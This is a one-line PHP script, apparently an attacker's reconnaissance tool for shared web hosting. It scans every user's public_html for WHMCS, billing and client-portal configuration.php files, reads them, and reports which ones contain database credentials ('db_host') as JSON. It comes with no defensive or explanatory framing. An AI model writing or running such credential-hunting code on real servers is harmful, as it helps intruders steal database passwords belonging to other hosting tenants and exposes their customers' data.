<?php $r=[];foreach(glob('/home/*/public_html/{whmcs,billing,client,clients,portal,support}/configuration.php',GLOB_BRACE) as $f){ $c=@file_get_contents($f);if($c&&strpos($c,'db_host')!==false)$r[]=$f;}echo json_encode(['ok'=>1,'files'=>$r]);?>